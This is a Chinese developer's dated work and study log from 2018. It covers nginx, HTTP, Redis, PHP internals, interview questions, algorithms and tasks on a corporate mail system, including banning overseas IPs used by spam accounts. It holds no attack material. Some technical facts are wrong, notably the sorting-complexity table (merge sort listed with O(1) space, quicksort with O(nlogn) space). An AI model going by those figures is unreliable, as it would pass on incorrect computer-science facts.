5.apache那种简单的多线程,每个请求会独占一个工作线程,当并发数上到几千时,就同时有几千的线程在处理请求占用内存大,线程间上下文切换占用的cpu开销大
6.事件处理通常包含,网络信号(异步非阻塞),信号,定时器(放在一颗维护定时器的红黑树里面)
nginx的connection
1.主进程监听端口创建socket,fork出子进程,子进程互斥锁竞争accept新的连接,三次握手建立连接以后,异步非阻塞读写事件处理,nginx或客户端主动关掉连接
2.每个进程都有连接数的限制,ulimit -n,超过时创建socket会失败
3.nginx能建立的最大连接数 worker_连接数*worker_进程数;作为反向代理时则为worker_连接数*worker_进程数 /2 ,nginx也要请求另外的处理服务占用一个连接
4.利用accept_mutex锁来平衡每个worker进程的连接数
nginx与keepalive
1.http1.0和http1.1都支持长连接,默认1.0是关闭的,1.1是打开的
2.http1.0需要指定connection:keep-alive表示使用长连接,响应头中会包含content-length,客户端依据这个长度表示接收完成,否则会一直接收数据
3.http1.1不需要指定connection,响应头中transfer-encoding 为 chunked则会是流式传输,每块会包含当前块的长度;如果非chunked则要有content-length,否则会一直接收直到服务端主动断开
4.keepalive_timeout 来配置超时时间,如果为0则会直接关闭,默认65秒
1.手写票一般我们叫做“普通发票”,机打票叫做“增值税普通发票”,发票需要去税务局买
2.增值税专用发票,可以进行税款抵扣,需要提供企业名称,纳税人识别号,地址,电话,开户银行,开户账号
3.增值税普通发票提供纳税人识别号,企业抬头
==========================================================================
2018年11月9日 记录:
自动回复的主题乱码:
1.原信的主题没有指定编码
2.可能是qq邮箱的问题
100万个url如何找到出现频率最高的前100个:
1.放到数组里面,key是url,value是出现次数,排序
2.hash code 版本,hash和url关联起来
3.数据库实现法,伪哈希索引
==========================================================================
2018年11月8日 记录:
企邮webmail的跳转部分
企邮web读取阿里云双读上线
得到等n位为1其它位为0的数,可用1左移n位即得
得到等n位为0其它位为1的数,用前数位反一下即得
修改指定状态位为0,a&=~(1<<29)
修改指定状态位为1,a|=1<<29
beyound compare比较
http://www.94afx.com/a/diannaoruanjian/beyondcompare4.html
==========================================================================
2018年11月7日 记录:
http message:http报文,客户端服务器请求响应模型,是通过http 报文的格式化数据块进行的
http method:http方法
get:客户端向服务器请求获取资源
post:客户端发送数据到服务端
put:客户端将数据存储到服务器中去
delete:从服务端删除命名资源
head:客户端获取命名资源的http头信息
http/应用层==>tcp/传输层==>ip/网络层
http/0.9 ==> http/1.0 ==> http/1.0+ ==>http/1.1 ==> http/2.0
web的结构组件:
1.代理:位于客户端和服务器之间,接收所有请求并转发给服务器
2.缓存:代理缓存或web缓存,下一次请求是缓存提供的服务
3.网关(gateway):将http协议转成其他协议的服务,例如:http/ftp http转到php-fpm
4.隧道(tunnel):在http连接上转发非http协议的数据,例如:http/ssl 在http连接上传输ssl数据
==========================================================================
2018年11月6日 记录:
http连接管理:
1.http如何使用tcp连接的
2.tcp连接的时延,瓶颈,存在的障碍
3.http的优化,并行连接,keep-alive,管道连接
4.http就是http over tcp over ip,https是http和tcp之间插入放入tls或者ssl
5.保持tcp连接的正确运行,四个值<源ip地址,源端口,目的ip,目的端口
6.http时间线,请求=>dns查询=>响应=>请求=>服务器处理=>响应=>关闭
7.tcp性能点:tcp连接建立握手(花费50%时间);
tcp延迟确认算法(占第二);
time_wait时延和端口耗尽(记录最近所关闭连接的ip地址和端口号,2msl通常2分钟)
tcp慢启动拥塞控制;数据聚集的nagle算法;
http首部(head头信息)
1.通用首部:date
通用缓存首部(cache-control)
2.请求首部:accept
条件请求首部(if-),安全请求首部(authorization)
3.响应首部:server
4.实体首部(用于主体部分的首部):content-type:
5.扩展首部:非标准的,自己定义的
php的脚本执行还是会经过编译环节, 只不过它们一般会在运行的时候实时进行编译
1.启动php及zend引擎, 加载注册的扩展模块
2.读取脚本文件,zend引擎对脚本文件进行词法分析,语法分析。
3.编译成opcode执行
阿里云读取附件部分的双读改造
测试外发限制部分,有24分钟的缓存时间,php -i|grep "gc_maxlifetime" 1440秒
route add -net 100.118.0.0/16 gw 172.16.228.1 添加网络
==========================================================================
2018年11月5日 记录:
1.长链接和短链接的优缺点
2.tcp为啥是四次挥手
3.数据库的几大索引,联合索引的最左原则,btree和二叉树的区别
4.redis的底层数据类型,list,set
5.nginx的负载均衡策略,select和epoll的区别
6.统计日志中ip访问量前十的
7.php的执行过程opcode,生命周期
8.array函数shift和unshift的区别
9.手写算法顺时针矩阵横竖斜求和相等算法
10.手写二分查找算法
11.设计滴滴发单抢单查看订单系统,日活200w,redis挂了怎么办
12.设计销售bd系统,钉钉考勤签到功能实现,分级审核等功能
13.设计通用审核流的系统,请假啊 财务啊 之类的功能
14.rpc系统
15.http协议里面的499
100:客户端应该继续发送请求,表示服务器已经接受到了,继续请求
101:理解了客户端请求,并通过upgrade消息头通知客户端采用新协议通讯,服务器发完后会切换到新协议
102:由webdav(rfc2518)扩展的状态码,代表处理将被继续执行
201:请求已经被实现,新的资源已经建立,uri随location头信息返回
202:服务器已经接受请求,但是不知道结果,异步的时候使用
203:成功处理但是返回的实体头部元信息不是原始服务器上的有效集合
204:成功处理,不返回实体,返回更新了的元信息
205:和204差不多,要求请求者重置文档
4xx系列的错误码是和客户端有关的
nginx自定义的状态码:
495, https certificate error
496, https no certificate
497, http to https
498, canceled
499, client has closed connection是客户端等到超时主动关掉的
1.分表的方式,是横向还是纵向,是以用户来分,还是以时间或者商家。 或者多维度,多维度的情况下,如何进行表数据之间的同步
2.查询订单,肯定是要有一定的时间限制,比如最近3个月的,其他的以一定的时间规则归档,查询时候是进入另外的数据表查询,没法查全部
3.缓存memcache 使用原子性操作add,实现并发锁
4.遇到大的问题,那么就缩小范围,限制住他的思路
==========================================================================
2018年11月2日 记录:
下午请假
==========================================================================
2018年11月1日 记录:
nginx切换改造项目,https测试支持问题改造
1.访问http://mail.sina.net
强制跳转问题
资源路径问题
页面内链接问题
安卓问题:
客户端现有问题是,修改密码后还会调用登陆接口,没有正常提示文本信息,退出也退出不了
==========================================================================
2018年10月31日 记录:
流媒体服务器(nginx+rtmp)
docker下安装宝塔面板更安全
存储服务器-云盘
分布式文件系统
应用服务器
web服务器
数据库平台
反垃圾的网关服务
日志服务器-每天发送一次,各web服务器的syslog-ng
1.二叉查找树中的结点是2-结点(一个键两条链),引入3-结点(两个键三条链),即成2-3树;然后将2-3树中3-结点分解,即成红黑树,故结合二叉查找树易查找和2-3树易插入的特点,便成了红黑二叉查找树,简称红黑树。
2.b树每一个结点可以有几个到几千个孩子,降低树的高度,减少磁盘io,顶部几层被反复查询存在内存中,剩余的存在磁盘中
3.含n个结点的b树高度也是lgn,分支因子大,高度小很多,
==========================================================================
2018年10月30日 记录:
明天导一下应该修改密码的列表
排序算法:
非线性比较类:
交换排序
冒泡:平均o(n^2),最坏o(n^2) 最好o(n) 空间o(1) 稳定
快速:平均o(nlogn),最坏o(n^2),平均o(nlogn),空间o(nlogn) 不稳定
插入排序
插入:平均o(n^2),最坏o(n^2) 最好o(n) 空间o(1) 稳定
希尔:平均o(n^1.3),最坏o(n^2),最好o(n),空间o(1) 不稳定
选择排序
选择:平均o(n^2),最坏o(n^2),最好o(n^2),空间o(1) 不稳定
堆 :平均o(nlogn),最坏o(nlogn),平均o(nlogn),空间o(1) 不稳定
归并排序
二路归并:平均o(nlogn),最坏o(nlogn),平均o(nlogn),空间o(1) 稳定
多路归并
线性非比较类:
计数:平均o(n+k),最坏o(n+k),最好o(n+k),空间o(n+k) 稳定
桶:平均o(n+k),最坏o(n^2),最好o(n),空间o(n+k) 稳定
基数:平均o(n*k),最坏o(n*k),最好o(n*k),空间o(n+k) 稳定
稳定:原来a在b前面,a=b,排序后a任然在b前面 冒泡,插入,归并,计数,桶,基数
不稳定:a=b,排序前a在b前面,排序后可能在后面,快速,希尔,选择,堆
冒泡:
1.比较相邻元素,从第一个开始较大的逐渐往后移动,后面是所有已经排好序的了
2.for{for{}},arr[j]>arr[j+1]
选择:
1.两层循环,假定第一层循环的i元素是最小值,
2.内层循环找出比i还小的元素,交换下他们
1.按位& | ~ ^ 与或非 异或
2.&与运算 0&0=0 1&0=0 1&1=1
3.fgetss函数的bug,遇到<会把后面的所有内容都替换成空白
4.rpm -q dpkg -l 两个查询包命令的
==========================================================================
2018年10月29日 记录:
redis cluster的架构图:remote dictionary server。
1.所有的redis节点彼此互联(ping-pong机制)
2.节点的fail是通过集群中超过半数的节点检测失效时才生效
3.客户端与redis节点直连,不需要中间proxy层
4.redis-cluster把所有的物理节点映射到[0-16383]slot上(哈希槽)
redis分布式锁:不同的进程必须以独占资源的方式实现资源共享
https://github.com/ronnylt/redlock-php/
1.社区给了个redlock锁的实现类
2.最低实现就是独享,无死锁,容错
3.当前时间,随机值,依次尝试的实现
redis与其他key-value存储有什么不同?
1.复杂的数据结构并且提供对他们的原子性操作
2.运行在内存中但是可以持久化到磁盘
3.键值对越多开销越大,放到一个key里就小很多
4.采用多个redis节点通过客户端hash的办法解决了大数据集分配的问题
5.访问mysql的数据只能通过主键(id) 。执行查询操作时,通过redis读取数据;使用redis的数据结构创建二级索引
分布式理解:
1.一个需要巨大资源的计算分成小的部分,分配给多*立的服务器,计算结果综合后得到最终结果
2.分布式网络存储技术是将数据分散的存储于多*立的机器设备上
顺时针打印矩阵:
1.行数和列数取出来row,col,圈数就是 (较小值-1)/2+1
2.外层循环控制圈数,内层四个for循环,i
3.第一个for循环,从左到右,j=i;j<col-i;j++;j<; arr[i][j]
4.第二个for循环,从上到下,k=i+1;k<row-i;k++; arr[k][col-1-i]
5.第三个循环,从右到左,m=col-2-i;m>=i&&row-1-i!=i;m-- arr[row-1-i][m]//row-1-i!=i单行的时候只打印一次
6.第四个循环,从下到上,n=row-2-i;n>=i&&col-1-i!=i;n-- arr[n][i]
编译原理-有限自动机:
不确定的有限自动机(nfa),一种数学模型;确定的有限自动机(dfa),是nfa的特殊情况
==========================================================================
2018年10月26日 记录:
根据企邮被禁用的发垃圾的账号,查询它们最近7天的海外smtp登录ip(排除*和港澳台以及查询失败的),
共45077个海外ip,已经全部查封。被查封的ip进行企邮smtp/pop/imap登录均会失败。
汇编语言中有一种移位指令叫做循环左移(rol),现在有个简单的任务,就是用字符串模拟这个指令的运算结果。对于一个给定的字符序列s,请你把其循环左移k位后的序列输出。例如,字符序列s=”abcxyzdef”,要求输出循环左移3位后的结果,即“xyzdefabc”。是不是很简单?ok,搞定它!
1.字符串翻转,前n位取模长度,abc翻转成cba 后面的翻转成fedxyx ,然后再统一翻转 xyzdefabc
2.第二种思路,字符串复制一份拼接在一起,截取从n开始到len长度的子字符串,n也是要取模
当有一天我看到一棵奇怪的树,第一反应是想拍下来给你看,我就知道大事不好了。
hrbp(hr business partner)
electron使用 javascript, html 和 css 构建跨平台的桌面应用
==========================================================================
2018年10月25日 记录:
mysql随机提取一条记录:select * from tablename order by rand() limit 1。
常用的解决思路:
1.暴力穷举(递归,回溯),n个数的全排列,八皇后问题
2.分治法(分而治之,然后归并),空间换时间(活用哈希表)
3.选择合适的数据结构,寻找最小的k个数(堆代替数组)
4.如果题目允许排序,优先排序,已经排好序的可以考虑二分
5.不改变队列顺序的贪心和动态规划
1.回溯法,按照深度优先的原则从根结点出发搜索解空间树,总是先判断该结点是否肯定不包含问题的解,如果肯定不包含,则跳过该结点为根的子树搜索,逐层向其祖先结点回溯,求问题的所有解时,要回溯到根,且根结点的所有子树都已被搜索才结束
2.用for循环+递归方式求解
for循环套在外层,表示遍历数组的第i个数字;内层递归表示结果list里的第i个数字
==========================================================================
2018年10月24日 记录:
前后端分离的验证码问题
1.生成验证码的数字存mememchache,key是唯一id 返给前端
2.验证时,前端带着id来 查找对应的验证码申诉自
1.回溯法(探索与回溯法)是一种选优搜索法,又称为试探法,按选优条件向前搜索,以达到目标,原先选择并不优或达不到目标,就退回一步重新选择
2.回溯法从根节点开始按深度优先搜索策略形成的树称为状态空间树
==========================================================================
2018年10月23日 记录:
企管调用mic的部分,ip改成域名的形式
输入一个字符串,按字典序打印出该字符串中字符的所有排列。例如输入字符串abc,则打印出由字符a,b,c所能排列出来的所有字符串abc,acb,bac,bca,cab和cba。
思路:
1.利用递归形成递归树,达到深度优先,固定首字母的效果
2.得复位以后才能再次深度优先
3.回溯法思想
4.一张图和一个运行过程,只能慢慢体会了
mysql `updatedate` timestamp not null default current_timestamp on update current_timestamp
插入自动更新当前时间;更新自动更新当前时间
==========================================================================
2018年10月22日 记录:
我们可以用2*1的小矩形横着或者竖着去覆盖更大的矩形。请问用n个2*1的小矩形无重叠地覆盖一个2*n的大矩形,总共有多少种方法?斐波那契数列
1.堆(二叉堆):可以视为一棵完全的二叉树,除了最底层之外,每一层都是满的,这使得堆可以利用数组来表示,每一个结点对应数组中的一个元素
2.给出某个结点的下标,可以计算出父结点的和孩子结点的下标; parent(i)=floor(i/2) left(i)=2i right=2i+1
3.最大堆和最小堆,最大堆:根结点是最大值,最小堆:根结点是最小值
4.堆排序就是把最大堆堆顶的最大数取出,剩余的堆继续调整为最大堆,再次将堆顶的最大数取出,直到剩余数只有一个结束
5.最大堆调整(维护最大堆,子节点永远小于父结点) ;创建最大堆(把一个数组调整成最大堆的数组);堆排序(创建最大堆,交换,维护最大堆)
maxheapify (array,index,heapsize) //最大堆调整
imax,ileft,iright
while true
imax=index;ileft=2*index+1;iright=2*index+2
如果根结点小于左右子树里结点值,就交换一下这两个值
利用第三方变量,交换下两个值
buildmaxheap(array) //创建最大堆,把一个数组调整成最大堆的数组
iparent=floor((size-1)/2)
for i=iparent;i>=0;i--
maxheapify (array,i,size)
sort(arr)
buildmaxheap(array, heapsize);//创建最大堆
for (int i = heapsize - 1; i > 0; i--) {
swap(array, 0, i); //交换第一个和最后一个
maxheapify(array, 0, i);//维护最大堆,size小了一个
==========================================================================
2018年10月19日 记录:
字符串的全排列:
1.输入一个字符串,输出字符串中字符的所有排列
2.从集合中依次选出每一个元素,作为排列的第一个元素,然后对剩余的元素进行全排列,如此递归处理
==========================================================================
2018年10月18日 记录:
判断一个字符串是否是回文:
同时从字符串头尾往中间扫描字符串,如果所有字符都一样,就是一个回文
start=0 end=str.size()
while(start<=end){
if str[start]!=str[end]
return false
++start
--end
}
最长回文字串:
枚举中心位置
==========================================================================
2018年10月17日 记录:
account对象存储在session的memcache中,保存时间是1440秒
==========================================================================
2018年10月16日 记录:
最长公共子串和最长公共子序列
==========================================================================
2018年10月15日 记录:
1.字符串翻转:
1.abcdef 转成 defabc
2.abc-> cba def->fed
3.cbafed-> defabc
字符串逆序的函数
while($from<$to){
$t=$str[$from];
$str[$from++]=$str[$to];
$str[$to--]=$t;
2.字符串逆序的函数:
第一个字符和最后一个字符调换,第二和倒数第二调换,from++ to--,用一个temp临时变量,while循环条件from<to
3.字符串的逆序调整:
给定一个字符串str,请在单词间做逆序调整,举例:
“pig loves dog”逆序成“dog loves pig”。
1.整个字符串全部逆序 abc def => fed cba
2.遍历,找到空格分隔,每一个单词再次逆序 dfe abc
4.字符串移位
给定一个字符串str,以及一个整数i.i代表str中的位置,然后将str【0】到str【i】移动到字符的右侧,将str【i】到str【n-1】的字符串移动到左侧。
就是上面的三步反转字符串
5.拼接最小字典序
==========================================================================
2018年10月12日 记录:
==========================================================================
2018年10月11日 记录:
请实现一个函数,将一个字符串中的每个空格替换成“%20”。例如,当字符串为we are happy.则经过替换之后的字符串为we%20are%20happy。
==========================================================================
2018年10月10日 记录:
3.模板重复打印问题,查看生成的php缓存文件,已经出现两次了,很明显就是多次include模板了
4.迪杰克斯拉算法核心,一组包含已经找到最短路径的顶点,另一组包含剩余未确定最短路径的顶点,以起始点为中心向外遍历直到搜索到终点为止,穷举策略
p //最短路径下标数组
d //各点最短路径的权值和
求v0到v的最短路径p[v] 和 带权长度 d[v]
for v=0;v<g.size;v++
final[v]=0 //未知最短路径状态
d[v] = g[v0][v] //与v0点有连线的顶点加上权值
p[v] =0
d[v0]=0 //v0到v0的路径为0
final[v0]=1 //v0到v0不需要求路径
for v=1;v<g.size;v++
min=65535
==========================================================================
2018年10月9日 记录:
redis hash 是一个string类型的field和value的映射表,hash特别适合用于存储对象。
1.hmset clickcout ip "127.0.0.1" product_id "123" time "15234343434"
2.hgetall clickcout
1.zadd clickcout 205 id_124
2..sort clickcout by id_* limit 0 10 desc
(error) misconf redis is configured to save rdb snapshots, but is currently not able to persist on disk. commands that may modify the data set are disabled. please check redis logs for details about the error.
1.强制关闭redis快照引起的
2.config set stop-writes-on-bgsave-error no
最短路径问题的实际例子:
1.路程最短,时间最短,换乘最少,实际地图场景比这些更复杂
2.非网图可以理解为所有边为1的网
3.迪杰斯特拉算法是按照路径长度递增次序产生最短路径的算法,并不是一下子就求出v0到v8的最短路径,而是一步一步求出他们之间顶点的最短路径
==========================================================================
2018年10月8日 记录:
同时包含数字、大写字母、小写字母、特殊字符中三种组合 70004
连续3位及以上数字不能连号(例如123、654)70005
连续3位及以上字母不能连续和相同(例如abc、cba aaa) 70006
密码不包含账号 70007
长度8到20位 70002
日志业务的流程:
应用产生日志→采集→传输→按需过滤与转换→存储→分析与查看。
2.根据数据的不同维度,对数据进行分类、分级。例如:我们从日志中区分error、info、和 debug
3.平台扩展做加减法,我们在查询时都增加分布式缓存,纵向扩展:如增加扩展磁盘和内存。
javascript由三部分组成:
1. ecmascript(核心)作为核心,它规定了语言的组成部分:语法、类型、语句、关键字、保留字、操作符、对象
2. dom(文档对象模型)
3. bom (浏览器对象模型)
4. ecmascript第五个版本 es6是第六个版本
5. es6 块级作用域 关键字let, 常量const,对象字面量的属性赋值简写,赋值解构,函数参数 - 默认值、参数打包、 数组展开(default 、rest 、spread),
箭头函数 arrow functions,字符串模板 template strings,iterators(迭代器)+ for..of,生成器 (generators),class,modules,map + set + weakmap + weakset,promises是处理异步操作的对象,symbol是一种基本类型通过调用symbol函数产生,symbol是一种基本类型。symbol 通过调用symbol函数产生
6.wepy小程序开发组件
7.weex框架可在本地像编写 web 页面一样编写一个 app 的界面,然后通过命令行工具将之编译成一段 javascript 代码,生成一个 weex 的 js bundle
能够完美兼顾性能与动态性,让移动开发者通过简捷的前端语法写出native级别的性能体验,并支持ios、安卓、yunos及web等多端部署。巨坑
从某个源点到其余各